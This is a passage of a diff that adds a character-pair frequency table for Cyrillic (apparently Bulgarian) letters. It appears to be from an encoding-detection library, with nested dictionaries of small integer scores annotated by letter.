25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 37: { # 'Д' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 2, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 44: { # 'Е' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 2, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 0, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 55: { # 'Ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 47: { # 'З' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 40: { # 'И' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 2, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 3, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 59: { # 'Й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 33: { # 'К' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 46: { # 'Л' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 38: { # 'М' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 36: { # 'Н' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 41: { # 'О' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 30: { # 'П' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 2, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 39: { # 'Р' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 28: { # 'С' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 3, # 'А' + 32: 2, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 34: { # 'Т' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 51: { # 'У' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 48: { # 'Ф' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 49: { # 'Х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 53: { # 'Ц' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 